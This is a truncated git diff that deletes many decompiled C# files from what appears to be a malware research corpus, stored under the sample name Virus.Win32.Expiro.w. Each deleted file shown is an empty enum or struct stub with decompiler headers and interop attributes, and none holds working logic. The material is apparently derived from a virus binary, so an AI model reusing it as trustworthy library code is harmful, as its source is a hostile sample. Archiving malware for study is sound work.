a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_LOGON_SUBMIT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_LOGON_SUBMIT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _MSV1_0_LOGON_SUBMIT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_PROFILE_BUFFER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_PROFILE_BUFFER_TYPE.cs deleted file mode 100644 index 34c6161f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_PROFILE_BUFFER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_PROFILE_BUFFER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MSV1_0_PROFILE_BUFFER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs deleted file mode 100644 index d47ec2f8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_PROTOCOL_MESSAGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _MSV1_0_PROTOCOL_MESSAGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MULTIPLE_TRUSTEE_OPERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MULTIPLE_TRUSTEE_OPERATION.cs deleted file mode 100644 index d3085120..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MULTIPLE_TRUSTEE_OPERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MULTIPLE_TRUSTEE_OPERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _MULTIPLE_TRUSTEE_OPERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_OSVERSIONINFOW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_OSVERSIONINFOW.cs deleted file mode 100644 index dc5fe4bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_OSVERSIONINFOW.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _OSVERSIONINFOW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[UnsafeValueType] -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 276)] -internal struct _OSVERSIONINFOW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PARTITION_STYLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PARTITION_STYLE.cs deleted file mode 100644 index 40de52a2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PARTITION_STYLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PARTITION_STYLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _PARTITION_STYLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_AUDIT_EVENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_AUDIT_EVENT_TYPE.cs deleted file mode 100644 index c4bf98f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_AUDIT_EVENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_AUDIT_EVENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_AUDIT_EVENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_DOMAIN_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_DOMAIN_INFORMATION_CLASS.cs deleted file mode 100644 index b081e4a1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_DOMAIN_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_DOMAIN_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _POLICY_DOMAIN_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_INFORMATION_CLASS.cs deleted file mode 100644 index 3d7e2f8e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _POLICY_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_LSA_SERVER_ROLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_LSA_SERVER_ROLE.cs deleted file mode 100644 index 46d637ed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_LSA_SERVER_ROLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_LSA_SERVER_ROLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_LSA_SERVER_ROLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs deleted file mode 100644 index 74011898..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_NOTIFICATION_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_NOTIFICATION_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROCESSOR_CACHE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROCESSOR_CACHE_TYPE.cs deleted file mode 100644 index 614a7f27..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROCESSOR_CACHE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROCESSOR_CACHE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _PROCESSOR_CACHE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROC_THREAD_ATTRIBUTE_NUM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROC_THREAD_ATTRIBUTE_NUM.cs deleted file mode 100644 index c25f09e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROC_THREAD_ATTRIBUTE_NUM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROC_THREAD_ATTRIBUTE_NUM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _PROC_THREAD_ATTRIBUTE_NUM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROGRESS_INVOKE_SETTING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROGRESS_INVOKE_SETTING.cs deleted file mode 100644 index 07b2b166..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROGRESS_INVOKE_SETTING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROGRESS_INVOKE_SETTING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _PROGRESS_INVOKE_SETTING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PSC_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PSC_STATE.cs deleted file mode 100644 index 73aa3010..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PSC_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PSC_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _PSC_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PS_RATE_PHASE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PS_RATE_PHASE.cs deleted file mode 100644 index c8824533..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PS_RATE_PHASE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PS_RATE_PHASE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _PS_RATE_PHASE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PaddingMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PaddingMode.cs deleted file mode 100644 index 0c677c50..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PaddingMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PaddingMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _PaddingMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RESOURCEMANAGER_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RESOURCEMANAGER_INFORMATION_CLASS.cs deleted file mode 100644 index e9499c64..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RESOURCEMANAGER_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RESOURCEMANAGER_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _RESOURCEMANAGER_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPCCALLBACKS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPCCALLBACKS.cs deleted file mode 100644 index 4568ba83..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPCCALLBACKS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPCCALLBACKS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _RPCCALLBACKS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_ASYNC_EVENT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_ASYNC_EVENT.cs deleted file mode 100644 index 67b21b95..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_ASYNC_EVENT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_ASYNC_EVENT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _RPC_ASYNC_EVENT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_HTTP_REDIRECTOR_STAGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_HTTP_REDIRECTOR_STAGE.cs deleted file mode 100644 index 60f9a34f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_HTTP_REDIRECTOR_STAGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_HTTP_REDIRECTOR_STAGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _RPC_HTTP_REDIRECTOR_STAGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_NOTIFICATION_TYPES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_NOTIFICATION_TYPES.cs deleted file mode 100644 index 49598f9d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_NOTIFICATION_TYPES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_NOTIFICATION_TYPES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _RPC_NOTIFICATION_TYPES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_REQUEST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_REQUEST.cs deleted file mode 100644 index d6a29771..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_REQUEST.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_REQUEST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 12)] -internal struct _RPC_REQUEST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_RESPONSE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_RESPONSE.cs deleted file mode 100644 index b2777b7f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_RESPONSE.cs +++ /dev/null @@ 